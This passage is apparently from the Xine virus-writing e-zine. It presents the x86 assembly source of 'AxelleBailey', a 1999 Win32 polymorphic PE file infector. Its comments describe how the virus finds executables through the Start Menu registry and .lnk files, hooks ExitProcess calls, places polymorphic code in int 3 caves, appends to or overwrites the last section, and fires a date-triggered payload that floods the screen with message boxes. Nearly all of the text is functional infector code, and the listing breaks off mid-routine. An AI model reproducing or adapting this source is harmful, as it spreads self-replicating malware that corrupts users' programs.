
                                        /-----------------------------\
                                        | Xine - issue #4 - Phile 202 |
                                        \-----------------------------/

;
;       AxelleBailey (c) IKX MegaWare 1999
;
; A Win32 PE Body-Polymorphic Mid-Infector using ExitPoint Tech...
;
;
; About the Axelle Bailey Virus
;
; 	- As you can saw, avers have many problems with Midinfector, in fact, 
; they can't perform a 100% sure disinfection of them. Despite of that, they
; can't clean infected programs. Now we see that they can't detect polymorphics
; midinfectors virus. So, I can't imagine how they will take that virus...
;
;	- When a Portable Exe is opened, it look the last section, if it's 
; equal .reloc, then it overwrite it, else it add the virus size + 500 and 
; rebuild sections, header and all the staff...
;
;	- This virus doesn't infect in a common way, in fact, he look first for 
; cave, like a series of int 3 in the code segment, it happend often now, 
; both of Microsoft and Borland software that are **Often** distributed. 
;
; 	- After it, the virus scan the import after ExitProcess or Exit. When 
; found, it calculate where the adress will be in memory. After it scan for
; call dword ptr [x] or jump dword ptr [x]. If a call is found, it save the
; Adress of a call, if a jump dword ptr [x], then it rescan the code section
; for getting call to it
;
; 	- If nothing found, then it scan near the entrypoint for call or jumps
;	if found, then they are hooked...
;
;	- When found, it generate a poly in memory, the poly will be droped in
; cave followed by jumps, so, I will be happy to see the emulation of this 
; virus. I tested with NODice32 that is so powerfull hi Lethal ;). Nothing
; found. If there's no more cave, then it drop the poly after the code, it's
; why I put 500 of more size.
;
;	- Above all, this virus isn't really finished, but it's his first 
; version, it have fixed most compatibility problems, but PE infectors are
; often unstable or sometime don't get control or such thing, you know the
; fuck...
;
; About Axelle Bailey: 	
;
;	mmm, Nothing to say...
;
; Caracteristics:
;
;			* On 9 Octobre it launch paylaod
;				Creating 2 times more Messagebox on closing 1
;			* On Friday 13, it display Greets screen (MessageBox)
;			* Have debug feature if c:\debug.txt present
;				Ask you if you want to infect PE
;			* Find PE via a new way, using explorer's registry
;				- EXEs in the Start Menu will be infected
;				- .lnk file analysis
;			* Alternate sometime and infect the Windows Directory
;			* Infect only 10 files per run
;			* Use of Memory Maped Files...
;			* Get API via the Upcase (ie:CFA for CreateFileA)
; 			* Append virus to last section
;				* if last section name=.reloc then overwrite it
;			* Invisible mark in the PE header (No fixed string)
;			* Look for Int 3/NOP cave in the code
;			* If found drop poly over caves, else after the body
;			* Able to put part in code and part near virus body
;			* Drop a 32 bit poly with variable regs
;				* Poly assume rol/inc/dec/neg/not/add/sub/xor
;			* Look and hook for Call ExitProcess on code section 
;				(the standard method)
;			* Look and hook for Call MSVCRT!exit on code section
;				(the win98 way of Exiting program)
;			* Look/recursive trace/hook ExitProcess call-to-jump-to
;				(specially for Borland compiled software)
;			* Look and hook for calls/jumps near the entrypoint
;				(for strange programs...)
;			* The virus can return to host(or api) via different
;				way , like Alicia

.386
locals
.model flat

extrn           ExitProcess:Proc
extrn		ReadFile:Proc

.data                                   
dummy           dd      ?               

.code                                   

HOST:		jmp start0
HOST2:		push 0
		call ExitProcess

virus_seg segment para public 'virus'
assume cs:virus_seg

Start0:
start0:		
Start:
start:
		pushad
Odelta:		call 	Delta0

Delta0:	pop	ebp
	sub 	ebp,offset Odelta+5				; get delta

	push	dword ptr [Ebp+ReturnWay]	; save return information
	push	dword ptr [ebp+ReturnData]	; may be overwritten

	lea	eax,[ebp+startlist]		; get all Kernel32 apis
	mov	dword ptr [ebp+TargetCRC],eax	; and put then there
	lea	eax,[ebp+crc_list]
	call	GetProcI			; get kernel32 and inits apis

	lea	eax,[ebp+dllname]
	call	LoadLibrary			; load library

	push	eax
	mov 	edx,eax

	lea	eax,[ebp+advapilist]		; 
	mov	dword ptr [ebp+TargetCRC],eax	; put it there
	lea	eax,[ebp+advapi]		; name of apis
	call	GetProcB			; get all apis needed 
						; in advapi32.dll

	pop	eax
	call	checkforunload			; check if we have to unload
						; from the memory advapi32
	lea	eax,[ebp+dllname2]
	call	LoadLibrary			; lload User32

	push	eax
	mov 	edx,eax

	lea	eax,[ebp+userapilist]
	mov	dword ptr [ebp+TargetCRC],eax	; save it there
	lea	eax,[ebp+userapi]		; get the Messageboxa
	call	GetProcB			; get it!

	pop	eax
	call	checkforunload			; 

	jmp	FindFirst00

dllname:	db	'ADVAPI32.DLL',0
dllname2:	db	'USER32.DLL',0

LoadLibrary:

mov	byte ptr [ebp+unloadflag],0		; reset unload flag

push	eax
push	eax
call	dword ptr [ebp+GetModuleHandle]		; check if the process have it
						; in his memory
pop	edx

cmp	eax,0
jne	thenwehavedll				; if no

push	edx
call	dword ptr [ebp+LoadLibraryA]		; then load it but we will
mov	byte ptr [ebp+unloadflag],1		; have to unload it

thenwehavedll:

ret

checkforunload:

cmp	byte ptr [ebp+unloadflag],1		; check if we have to unload it
jne	thenskipunload

push	eax
call	dword ptr [ebp+FreeLibrary]		; do it!

thenskipunload:
ret

unloadflag:	db	0

crc_list:
ApiList:

db	'FFFA',0					; FindFirstFileA
db	'FNFA',0					; FindNextFileA
db	'CFA',0						; CreateFileA
db	'CH',0						; CloseHandle
db	'WF',0						; WriteFileA
db	'RF',0						; ReadFileA
db	'SFP',0						; SetFilePointer
db	'SFT',0						; SetFileTime
db	'GFS',0						; GetFileSize
db	'CFMA',0					; CreateFileMapping
db	'MVOF',0					; MapViewOfFile
db	'UVOF',0					; UnMapViewOfFile
db	'VA',0						; VirtualAlloc
db	'VF',0						; VirtualFree
db	'LLA',0						; LoadLibraryA
db	'FC',0						; FindClose
db	'FL',0						; FreeLibrary
db	'GST',0						; GetSystemTime
db	'CT',0						; CreateThread
db	'GWDA',0					; GetWindowsDirectoryA
db	'GCDA',0					; GetCurrentDirectoryA
db	'SCDA',0					; SetCurrentDirectoryA
db	'GMHA',0					; GetModuleHandleA
db	'EP',0
advapi:
db	'ROKA',0					; RegOpenKeyA
db	'RQVEA',0					; RegQueryValueExA
db	'RCK',0						; RegCloseKey
userapi:
db	'MBA',0						; MessageBoxA
db	-1						; Finish! :)))

Greets:	db	'The Axelle Bailey/iKx/ Virus - OreZRatS [Ikx] (C) 1999',10,13,10,13
	db	'Greets to: Reptile and SSR for the ideas',10,13
	db	'	Bozo for the motivations',10,13
	db	'	In honor of Axelle Bailey and',10,13,10,13
	db	'Dedicated to Federrico ;)',0

debugtxt: db 'c:\debug.txt',0			; debug file name
debugopt: db 0

payload0: 					; this is for 1st run 

	xor	ebp,ebp
	call	payloadA			; display the MessageBox
	push	0
	call	dword ptr [ebp+ExitProc]	; finish the program

payloadA:

	push	0
	lea	eax,[ebp+Caption]		; something, no importence in
	push	eax				; fact...
	lea	eax,[ebp+Greets]		; greets
	push	eax
	push	0

	call	dword ptr [ebp+MessageBoxA]	; display the greets
	ret

FindFirst00:

	lea	eax,dword ptr [ebp+File_Data]
	push	eax
	call	dword ptr [ebp+GetSystemTime]	; get date , time , etc etc...

	cmp	word ptr [ebp+File_Data+4],5	; check for friday
	jne	timenext

	cmp	word ptr [ebp+File_Data+6],13	; 13 of the month
	jne	timenext

	call	payloadA			; if so then display the greets

timenext:

	cmp	word ptr [ebp+File_Data+2],10	; if 9 octobre then
	jne	timenext2

	cmp	word ptr [ebp+File_Data+6],9	; launch payload
	jne	timenext2			; an annoying one :]

        mov     dword ptr [ebp+omnione],0	; reset all constants
        mov     dword ptr [ebp+Active],1
        mov     dword ptr [ebp+Theorical],1

payload1:

		call	getdelpay		; get delta coz we will be in
getdelpay: 	pop	ebp			; a new thread and value will
		sub	ebp,offset getdelpay	; change...

        inc     dword ptr [ebp+omnione]

        push    0
        lea     eax,[ebp+annoyingcode]
        push    eax
        lea     eax,[ebp+annoyinglabel]
        push    eax
        push    0
        call    dword ptr [ebp+MessageBoxA]	; display the annoying box

        dec     dword ptr [ebp+Active]		; here we decrement if the ok
        mov     eax,dword ptr [ebp+Theorical]	; button was pushed
        add     dword ptr [ebp+Theorical],eax	; make two time more messagebox
        ;inc    dword ptr [ebp+Theorical]

thencreatone:

        lea     eax,[ebp+identifier]
        push    eax
        push    0
        push    0
        lea     eax,[ebp+payload1]
        push    eax
        push    0
        push    0
        call    dword ptr [ebp+CreateThread]	; create the new thread

        inc     dword ptr [ebp+Active]
        mov     eax,dword ptr [ebp+Theorical]
        cmp     dword ptr [ebp+Active],eax
        jne     thencreatone			; and then do it

        jmp     payload1

annoyingcode:	db	'A kiss to!',0
annoyinglabel:  db      'A kiss to Axelle Bailey !',0	; a kiss to this
identifier:	dd	79797979h			; incredible wome
omnione:	dd	0
Active:		dd	1
Theorical:	dd	1

timenext2:

	mov	byte ptr [ebp+debugopt],0		; reset debug option 
							; flag
	lea	eax,[ebp+debugtxt]
	call	Open_File_F				; try to open that file
	jz	thennodebug

	mov	byte ptr [ebp+debugopt],1		; if yah then set debug

thennodebug:


	mov	al,byte ptr [ebp+File_Data+12]		;check is sec=min(and)8
	and	al,8

	and	byte ptr [ebp+File_Data+14],8
	cmp	byte ptr [ebp+File_Data+14],al
	jne	timenext3				; if so then infect 
							; windows dir
	mov	eax,2048
	call	Alloc
	push	eax			; just for saving the dirs etc...

	push	eax
	push	512
	call	dword ptr [ebp+GetCurrentDirectoryA]	; save it

	pop	eax			;+4
	push	eax			;-4

	add	eax,512
	push	eax			;-4
	push	512
	push	eax
	call	dword ptr [ebp+GetWindowsDirectoryA]	; get the windows dir.
	call	dword ptr [ebp+SetCurrentDirectoryA]	; set it as current

	pop	eax			;+4
	add	eax,1024

	push	eax			;-4
	push	eax
	lea	eax,[ebp+searchfor]
	push	eax
	call 	dword ptr [ebp+FindFirstFile]		; search 1st file in it
	mov	dword ptr [ebp+hourhandler],eax

gotothere:	

	pop	edx
	push	edx					; save this for FFNext
	push	edx
	push	dword ptr [ebp+hourhandler]		
	add	edx,2Ch				; point to name is DTA32
	call	Testinfect				; infect it

	call	dword ptr [ebp+FindNextFile]
	cmp	eax,0
	jne	gotothere			; if not zero then loop again

	pop	eax
	sub	eax,1024
	push	eax
	call	dword ptr [ebp+SetCurrentDirectoryA]	; set the old directory

	jmp	Error0					; return to host

hourhandler:	dd	0
searchfor:	db	'*.exe',0

timenext3:

	call	FindFirst				; search on the start 
							; meny
Error0:	

	pop	dword ptr [ebp+ReturnData]		; reget all those
	pop	eax					; datas
	add	eax,ebp
	jmp	eax					; jump over there...

;
; Initialise the apilist vio GetProcAddress
;

GetProcB:
	push	ebp
	mov	edi,edx
	mov 	dword ptr [ebp+ApiNames],eax
	jmp	getprocC			; if not kernel32 dll

GetProcI:
	push	ebp
	mov 	dword ptr [ebp+ApiNames],eax	; if 1st run with kernel

;
; Secure way to get kernel address from winNT - this coz kernel declared as 
; Process...
;

GetKernelI:

mov     edi,dword ptr [ebp+startscan]
mov	esi,dword ptr [ebp+ImageBase]			; get import in mem

openscan:

mov eax,dword ptr [edi+12]
cmp eax,0
je ApiFinishScan

cmp dword ptr [esi+eax],'NREK'		;'KERN'
jne scannext2
cmp dword ptr [esi+eax+4],'23LE'	;'EL32'
jne scannext2

add esi,dword ptr [edi+16]
mov esi,dword ptr [esi]

foundloop1:

        cmp     dword ptr [esi],685421cdh		; look for 'This'
        je      founded
        dec     esi
        jmp    foundloop1

founded:        
        cmp     word ptr [esi],'MZ'
        je      founded2
        cmp     word ptr [esi],'ZM'			; looko for exe start
        je      founded2
        dec     esi
	jmp	founded

scannext2:
add edi,20

jmp openscan

ApiFinishScan:

sub 	eax,-1
pop	ebp
ret

startscan:      dd 00405000h
ImageBase:	dd 00400000h

founded2:
        mov     dword ptr [ebp+startscan],esi
	mov	edi,esi
	
getprocC:

        mov     ebx,dword ptr [edi+3Ch]
        add     ebx,edi                         ; ebx point to the PE header
                                                ; In fact it's allways PE
 						; I skiped the MZ and PE
						; signature check coz if it's
						; not, Kernel can't be loaded :]
        mov     esi,dword ptr [ebx+120]         ; esi point to the Export
        lea     esi,[esi+edi]                   ; zone

        mov     ecx,dword ptr [esi+24]          ; ecx = number of export
        mov     ebx,dword ptr [esi+32]          ; ebx point to the name offset
        add     ebx,edi                         ; table

Scanstring:
	

        mov     edx,dword ptr [ebx]             ; edi point to the 1st
        add     edx,edi                         ; name

loophere:

	push	ebx
	push	ecx
	
	mov	eax,dword ptr [esi+24]		; get 
	sub	eax,ecx				; name offset
	shl	eax,2
	lea	edx,[ebx+eax]
	mov	edx,[edx]
	add	edx,edi
	
	lea	eax,[ebp+tazoffset]
	mov	dword ptr [ebp+nameoffset],eax

        xor     eax,eax
        xor     ecx,ecx

        mov     al,byte ptr [edx]

getnamecrc:

        mov     cl,byte ptr [edx]			; look and take

        test    ecx,ecx
        jz      test_crcs				; only upper case
        
        cmp     cl,91
        ja      dontputit

	push	esi
	mov	esi,dword ptr [ebp+nameoffset]
	mov	byte ptr [esi],cl
	mov	byte ptr [esi+1],0	
	inc	byte ptr [ebp+nameoffset]		; save it to buffer
	pop	esi

dontputit:

        inc     edx
        jmp     getnamecrc

test_crcs:

	pop	ecx
	push	ecx
	push	ebp
	
	inc	edx
	mov	eax,dword ptr [ebp+ApiNames]
	xor	ebx,ebx
doomed:
       	cmp	byte ptr [eax],-1			; if name equal -1
	je	testnext				; then finish

	lea	edx,[ebp+tazoffset]			; check buffer with
	call	testname				; API list
	jc	itsokay21				; if same then get
	
	inc 	ebx
        jmp     doomed

itsokay21:

        mov     eax,dword ptr [esi+24]
	sub	eax,ecx				; get VA of API
	shl	eax,1
	
	push	ebx
        add     eax,dword ptr [esi+36]          ; table RVA
        add     eax,edi                         ; Add Rva
	xor	ebx,ebx				; set ebx to 0
	mov	bx,word ptr [eax]		;
	xchg	eax,ebx
	pop	ebx

	shl	eax,2

	add	eax,dword ptr [esi+28]
	add	eax,edi

	mov 	eax,dword ptr [eax]		; calculations
	add	eax,edi
	dec 	ebx

	pop	ebp
	mov	ecx,dword ptr [ebp+TargetCRC]
	lea	ecx,[4*ebx+ecx]
	mov	dword ptr [ecx+4],eax		; put it over the table
	push	ebp
testnext:
	pop	ebp
	pop	ecx
	pop	ebx
	loop	loophere2

	pop 	ebp
        ret

loophere2:	jmp loophere

testname:

checkifcorrectname:

	push	esi
	push	edi

	mov	esi,eax				; this just test if eax$ = edx$
	mov	edi,edx

	dec	edi
	dec	esi

thatflag0:

	inc	esi
	inc	edi

	cmp	byte ptr [esi],0
	je	thenbybye0

	push	eax
	mov	al,byte ptr [esi]
	cmp	byte ptr [edi],al
	pop	eax
	jne	thenboombybye

	jmp	thatflag0

thenbybye0:

	cmp	byte ptr [edi],0
        jne     thenboombybye
	inc 	esi
	inc 	esi
	mov 	eax,esi
	add	eax,-1
        pop     edi
        pop     esi
        ret

thenboombybye:

	cmp	byte ptr [esi],0
        je     	thenboomby0
	inc	esi
	jmp	thenboombybye

thenboomby0:

	inc	esi
	mov	eax,esi
	xor	edi,edi
	pop	edi
	pop	esi
	ret

ApiNames:	dd	0
TargetCRC:	dd	0
nameoffset:	dd	offset tazoffset
tazoffset:	db	20 dup (0)

FindFirst:

mov	byte ptr [ebp+Infectioncounter],0

mov     eax,25000
call    Alloc				; alloc a lot for recursive scan
cmp     eax,0				; and directory tree
jc      dontdothat
mov	dword ptr [ebp+pseudomem2],eax

push	eax
push	eax
push	eax

push	eax
lea     eax,[ebp+RegName]		; what we need
push	eax
push    80000001h
call    dword ptr [ebp+RegOpenKeyA]		; open the key
						; return the handle
pop	ebx
mov	eax,ebx

add	eax,4					; save handle
mov	dword ptr [eax],4096-8			; fix where we need in memory
push	eax
add	eax,8
push	eax
sub	eax,4
push	eax
push	0
lea     ecx,[ebp+SubRegName]			; get the needed subkey
push	ecx
push	dword ptr [ebx]				; push the hanlde
call    dword ptr [ebp+RegQueryValueExA]

pop	eax
push	dword ptr [eax]
call    dword ptr [ebp+RegCloseKey]		; and close the registry

pop	eax
add	eax,12

loopit:

mov     dword ptr [ebp+ShellDesktop],eax	; init the directory got
add	eax,512
mov	dword ptr [ebp+Findit],eax		; set that we want DTA32 on
sub 	eax,512					; 512 byte later than previous

theninceax1st:
inc     eax
cmp     byte ptr [eax],0			; get last caracter
jne     theninceax1st

cmp     byte ptr [eax-1],'\'			;look if fixing it as directory
je      thendontfixdir

fixdir:

mov     byte ptr [eax],'\'			; then do it
inc     eax

thendontfixdir:

mov	dword ptr [ebp+FindZero],eax		; Find Zero...

mov     edi,eax
lea     esi,[ebp+fixzone]
mov     ecx,4
repz    movsb

thenjumpup:

push	dword ptr [ebp+Findit]			; get *.*
push	dword ptr [ebp+ShellDesktop]
call	dword ptr [ebp+FindFirstFile]		; find in fact .lnk and dirs
mov	edx,eax

testinext:

mov	eax,dword ptr [ebp+Findit]
cmp	byte ptr [eax+2ch],'.'			; if . or .. found
je	skiprecursive

lea	esi,[eax+2ch]				; point to names

call	infectINF				; analysing inf files

mov	eax,dword ptr [eax]
cmp	eax,10h
jne	skiprecursive				;if not a dir then dont go 
						; deeper
push	edx					; save infos for FFNext
push	dword ptr [ebp+FindZero]

cmp	byte ptr [ebp+arboricol],7		; scan only 6 directory deeply
je	thengoup

mov	eax,dword ptr [ebp+Findit]
add	eax,1024
mov	dword ptr [ebp+Findit],eax		; set where we want much datas

mov	edi,dword ptr [ebp+FindZero]

thenincit:

mov	al,byte ptr [esi]
mov	byte ptr [edi],al

inc	esi
inc	edi
cmp	al,0
jne	thenincit				; add the dir to the current
						; directory buffer 
dec 	edi					; ie: c:\win\start\apps\ + 
						; draw\		see ?
mov	eax,edi
call	fixdir					; recursive scan

mov	eax,dword ptr [ebp+Findit]
sub	eax,1024
mov	dword ptr [ebp+Findit],eax		; restore DTA32

thengoup:

pop	dword ptr [ebp+FindZero]
pop	edx					; restore for ffnext

skiprecursive:

push 	edx
push	dword ptr [ebp+Findit]
push 	edx
call	dword ptr [ebp+FindNextFile]		; do findnext
pop	edx
cmp	eax,0
jne	testinext

dontdothat:

push	4000h
push	2000
push	dword ptr [ebp+pseudomem2]
call	dword ptr [ebp+GlobalFree]		; delocate memory...

ret						; when finish then return

infectINF:

push	edx
push	eax
push	esi					; save for the boucle of
						; dir scan
thatoom:
inc	esi
cmp	byte ptr [esi],0
je	thatam
cmp	byte ptr [esi],'.'			; look for .LNK or .lnk files
jne	thatoom

cmp	dword ptr [esi+1],'KNL'
je	thatamok

cmp	dword ptr [esi+1],'knl'
jne	thatam

thatamok:

pop	esi
push	esi

mov	edi,dword ptr [ebp+FindZero]
mov	byte ptr [edi],'\'			; set it as dir

thenincitbis:

mov	al,byte ptr [esi]
mov	byte ptr [edi],al

inc	esi
inc	edi
cmp	al,0
jne	thenincitbis				; copy file name
	
mov	eax,dword ptr [ebp+ShellDesktop]
call	Open_File_F				; open it
jz	thatam					; problem ? skip !

mov	eax,2000
call	Alloc					; allocate memory
mov	dword ptr [ebp+pseudomem],eax
push	eax

mov	ecx,2000
mov	edx,eax
call	Read_file				; Read 2000 bytes

push	0
push	dword ptr [ebp+CurrentHandle]
call	dword ptr [ebp+GetFileSize]		; but scan only file length...

mov 	ecx,eax
pop	ebx
push	ebx
push	ecx

add	eax,ebx

decitdecit:
thatgooz:

dec	eax
cmp	word ptr [eax],'\:'			; get the directory environment
je	dectetdir				; when found, just keep disk
loop 	decitdecit				; variable

pop	eax
pop	ecx
jmp	finishscan

driveletter: 	dw	0

dectetdir:

dec	eax
mov	bx,word ptr [eax]			; detect it

pop 	ecx
pop	eax
add	eax,ecx

thenscannext2:
	
dec 	eax
cmp 	dword ptr [eax],'exe'			; look for exe,0 or EXE,0 in
je 	thenlookthisone				; the lnk file

cmp	dword ptr [eax],'EXE'
je 	thenlookthisone				; found the scan this file

loop	thenscannext2				; no found?

jmp	finishscan

thenlookthisone:

dec	eax
cmp	word ptr [eax],'\:'			; check what kind of 
je	thenlookthistwo				; directory windows build
cmp	word ptr [eax],'\.'			; in the lnk file
je	thenlookthistwo				; 3 possibility: nothing
cmp	byte ptr [eax],0			;		 the ..\
je	thenlookthistwo2			; 		 or the C:\
loop	thenlookthisone

jmp	finishscan

thenlookthistwo2:
mov	byte ptr [eax],'\'			; if nothing then add $:\
dec	eax

thenlookthistwo:

dec	eax					; add $:
mov	word ptr [eax],bx

mov	edx,eax
call	Testinfect				; test infection but infection
						; will not work with prebuilded
						; lnk on windows installing
finishscan:					; :[

push	4000h
push	2000
push	dword ptr [ebp+pseudomem]
call	dword ptr [ebp+GlobalFree]		; delocate memory...

call	Close_file

thatam:

pop	esi
pop	eax
pop 	edx
ret

Testinfect:

push	dword ptr [ebp+CurrentHandle]		; save handle of the .lnk file
push	edx

cmp	byte ptr [ebp+Infectioncounter],10	; check if we have infected 10
je	thendontinfect

cmp	byte ptr [ebp+debugopt],1		; look for debug option
jne	thendontdo

push	1
lea	eax,[ebp+Caption]
push	eax
push	edx
push	0

call	dword ptr [ebp+MessageBoxA]		; messageboxit with filename

cmp	eax,2					; if Cancel 
je	thendontinfect				; then don't infect

thendontdo:

pop	edx
push	edx

	push	edx
        call    FindFirstFileF			; get infos over the file
        pop     edx

        cmp     byte ptr [ebp+File_Data+4+4],01110111b
        je      Finished			; look for time/date stamp

	mov	eax,edx
        call    Open_File_F
        jz      Finished

        call    infection			; test and infect it

	cmp	dword ptr [ebp+File_Data+4],0
	jne	thendontfixthat			; see if valid time_stamp32

	mov	eax,dword ptr [ebp+File_Data+4+8]	; no then make it
	mov	dword ptr [ebp+File_Data+4],eax
	mov	eax,dword ptr [ebp+File_Data+4+8+4]
	mov	dword ptr [ebp+File_Data+4+4],eax

thendontfixthat:

        mov     byte ptr [ebp+File_Data+4+4],01110111b	; set time stamp
 
        lea     eax,[ebp+File_Data+4+8+8]
        push    eax
        sub     eax,8					; from patched DTA32
        push    eax
        sub     eax,8
        push    eax
        push    dword ptr [ebp+CurrentHandle]
 
        call    dword ptr [ebp+SetFileTime]		; set the new timestamp

Finished:

	call	Close_file

thendontinfect:

pop	edx
pop	dword ptr [ebp+CurrentHandle]			; reput the handle

ret


Caption:	db 	'VirusInfo - Ready for infection',0

; variables...

Infectioncounter:	db	0
arboricol:		db	0
fixzone:                db      '*.*',0
RegName:    		db      'Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders',0
SubRegName:		db	'Start Menu',0
pseudomem:		dd	0
pseudomem2:		dd	0
ShellDesktop:   	dd      0
Findit:			dd	0
FindZero:		dd	0

;
; Overwriters! OVERWRITING IS ThE SOLUTiON
; Yeah! OVERWRITIIIIIIIIIIIING!!!!
;

handlesize1	equ 	4096
handlesize2	equ 	256+Fin-Start+500+40

infection:

call    mapit
mov	esi,eax				; map the file in memory

;cmp	eax,1000h
;jb	thenproblem

mov	dword ptr [ebp+memory1],0

cmp	word ptr [eax],'ZM'		; check if exe
jne	thenproblem

cmp	byte ptr [eax+24],'@'		; check if windows
jne	thenproblem

mov	ebx,dword ptr [eax+03Ch]
add	ebx,eax
mov	dword ptr [ebp+PEBase],ebx	; save memory location of PE header

cmp	word ptr [ebx],'EP'		; check if PE
jne	thenproblem

mov	al,byte ptr [ebx+88]		; check if
add	al,byte ptr [ebx+89]		; file already infected
cmp	al,'S'
je	thenproblem

sub	al,byte ptr [ebx+89]
mov	ah,'S'
sub	ah,al
mov	byte ptr [ebx+89],ah		; the stamp is variable coz depend from
					; ebx+88

mov	eax,dword ptr [ebx+52]
mov 	dword ptr [ebp+ImageBase],eax	; save Imagebase

add	eax,dword ptr [ebx+128]
mov	dword ptr [ebp+startscan],eax	; save where to scanning import
sub	eax,dword ptr [ebx+128]

lea	edx,[ebx+0F8h]
mov 	dword ptr [ebp+SectionOffset],edx	; and section offset

call	Betadropvirus			; look if we can drop a virus image
cmp	eax,-1				; if so, rebuild header
je	thenproblem			; if not 

call	cavescanner			; scan caves
call	thahook				; hook midinfection
call	CreateProPoly			; and drop poly
jc	thenproblem

; now connect virus entry point and poly entrypoint

mov	edx,dword ptr [ebp+Fixupentry]
mov	eax,edx
call	Offset2Address
mov	ebx,eax
mov	eax,dword ptr [ebp+NEWEntryPoint]	; then we drop
sub	eax,ebx					; that value after 
sub	eax,4					; this to have the call
mov	dword ptr [edx],eax			; polyentrypoint

inc	byte ptr [ebp+Infectioncounter]

Unload:

call	UnloadMemory				; unload memory

thenproblem:

call    unmapit					; un map the file
ret

UnloadMemory:

cmp	byte ptr [ebp+memory1],1		; check if cavemem were loaded
jne	dontunloadmemory1

push	4000h
push	handlesize1
push	dword ptr [ebp+memhandle1]
call	dword ptr [ebp+GlobalFree]		; unload the Cave memory

dontunloadmemory1:

cmp	byte ptr [ebp+memory2],1		; check if polymem were loaded
jne	dontunloadmemory2

push	4000h
push	handlesize2
push	dword ptr [ebp+memhandle2]
call	dword ptr [ebp+GlobalFree]		; unload polymem

dontunloadmemory2:

ret

; variables...

memhandle1:	dd	0
memhandle2:	dd	0
memory1:	db	0
memory2:	db	0

DropAddress:		dd	0
DropOffset:		dd	0
InfectorAddress:	dd	0
InfectorPoly:		dd	0

PEBase:			dd	0
SectionOffset:		dd	0
LastSection:
LastSectionOffset:	dd	0

Betadropvirus:

mov     edi,dword ptr [ebp+PEBase]			; get PE header
mov     edx,dword ptr [ebp+SectionOffset]		; and section header

mov     dword ptr [ebp+DropAddress],eax			; mov DropAddress ?
					; don't remember the use of that
xor     ecx,ecx
mov     cx,word ptr [edi+6]				; get number of section

mov     eax,edx						; eax point to section

fixtozero:

mov     dword ptr [eax+24],0
mov     dword ptr [eax+28],0
mov     dword ptr [eax+32],0

add     eax,40

loop    fixtozero					; nullify reloc on each
							; section
sub     eax,40						; we are N(section)-1
mov	edx,eax

cmp     dword ptr [eax],'ler.'          		; if reloc ?
je     	thenoverwritelast

thenappendlast:						; yeah overwrite it

mov     eax,dword ptr [edx+12]
add     eax,dword ptr [edx+16]
mov     dword ptr [ebp+DropAddress],eax			; set DropAddress
mov     eax,dword ptr [edx+20]
add     eax,dword ptr [edx+16]
mov     dword ptr [ebp+DropOffset],eax			; set DropOffset

thengotolast:

push    edx
mov     ebx,edx
xor     edx,edx

mov     eax,dword ptr [ebx+16]				; fixup the physical
add     eax,fin-start+500				; size of last section
mov     ecx,dword ptr [edi+60]
div     ecx
inc     eax
mul     ecx
mov     dword ptr [ebx+16],eax

xor	edx,edx
mov     eax,dword ptr [ebx+8]				; fixup the virtual 
add     eax,fin-start+500				; size of last section
mov     ecx,dword ptr [edi+56]
div     ecx
inc     eax
mul     ecx
mov     dword ptr [ebx+8],eax

xor	edx,edx

mov     eax,dword ptr [ebx+12]				; set new image size
add	eax,dword ptr [ebx+8]
add     eax,1000h

;add     eax,fin-start+500
div     ecx
inc     eax
mul     ecx
mov     dword ptr [edi+80],eax

pop     edx

mov     dword ptr [edx+36],0c0000040h			; set as writable this
							; section
mov     dword ptr [edi+160],0
mov     dword ptr [edi+164],0

ret

thenoverwritelast:				; so we don't overwrite
						; 
mov     eax,dword ptr [edi+160]
cmp     eax,dword ptr [edx+12]
jne     thenappendlast

mov     dword ptr [ebp+DropAddress],eax
call	Address2Offset
sub	eax,esi
mov	dword ptr [ebp+DropOffset],eax	; fix drop offset = section offset

jmp     thengotolast

Offset2RVA:

push	edx

call	Offset2Address				; call this one

mov	edx,dword ptr [ebp+PEBase]		; add PEbase
add	eax,dword ptr [edx+52]

pop	edx
ret

Offset2Address:					; convert an offset to
						; an adress of pe
push	ebx
push	ecx
push	edx

mov	edx,dword ptr [ebp+SectionOffset]	; scan over sections

thendetectnext:
push	edx

mov	ecx,dword ptr [edx+20]			; get where it start
add	ecx,esi
mov	edx,dword ptr [edx+16]			; where it finish
add	edx,ecx
dec	edx

cmp	eax,edx
ja	testnext01				; scan if we are in

cmp	eax,ecx
jb	testnext01				; if not loop again

pop	edx

sub	eax,esi
sub	eax,dword ptr [edx+20]
add	eax,dword ptr [edx+12]			; set the memory offset

pop	edx
pop	ecx
pop	ebx
ret

testnext01:

pop	edx					;look 
add	edx,40
cmp	byte ptr [edx],0			;next
jne	thendetectnext				;section, if zero then don't...

pop	edx
pop	ecx
pop	ebx

ret

Address2Offset:

push 	edx ebx ecx 

mov	edx,dword ptr [ebp+SectionOffset]		; conver Address2Offset
sub	edx,40

loopithere:

add	edx,40
cmp	byte ptr [edx],0
je	thenitsnotcorrect

mov	ecx,dword ptr [edx+12]		; load memory start of section
mov	ebx,ecx
add	ebx,dword ptr [edx+8]		; load memory end of section
dec	ebx

cmp	eax,ebx
ja	loopithere			; if eax > Virtual Address

cmp	eax,ecx				; if eax < RVA then not correct
jb	loopithere

loopithere0:

mov	ebx,dword ptr [edx+20]		; add offset
sub	eax,ecx

cmp	eax,dword ptr [edx+16]		; check if we are in ?
ja	thenitsnotcorrect

add	ebx,eax

mov	eax,ebx
add	eax,esi				; add handle value

pop 	ecx ebx edx
ret

thenitsnotcorrect:

pop	ecx ebx edx
ret

mapit:

	push	0
        push    dword ptr [ebp+CurrentHandle]	; look apis reference
        call    dword ptr [ebp+GetFileSize]
        add     eax,fin-start0+500		; allways open with size+500
        mov     edi,eax

mapasRead:

        push     edi

	push	 0
	push	 edi
	push	 0
        push     4
	push	 0
        push     dword ptr [ebp+CurrentHandle]
	call	 dword ptr [ebp+CreateFileMap]		; mapit 
        mov      dword ptr [ebp+MapHandle1],eax

mapasRead2:

	push	 0
	push	 0
        push     6
        push     dword ptr [ebp+MapHandle1]
	call	 dword ptr [ebp+ViewMap]		; load mapit
        mov      dword ptr [ebp+MapHandle2],eax
        ret

unmapit:

	push	dword ptr [ebp+MapHandle2]
	call	dword ptr [ebp+UnMap]			; close maps

	push	dword ptr [ebp+MapHandle1]
	call	dword ptr [ebp+Close]			; close maps

	ret

Alloc:

push	040h
push	00100000h or 1000h or 2000h
add	eax,111b
and	eax,-4
push	eax
push	0
call	dword ptr [ebp+LocalAlloc]			; allocate memory..
ret

cavescanner:

mov	dword ptr [ebp+cavenumber],0

mov     eax,handlesize1
call	Alloc					; alloc memory for this routine

cmp	eax,0
jne	saveitthat

xor	eax,eax
inc	eax
inc 	eax
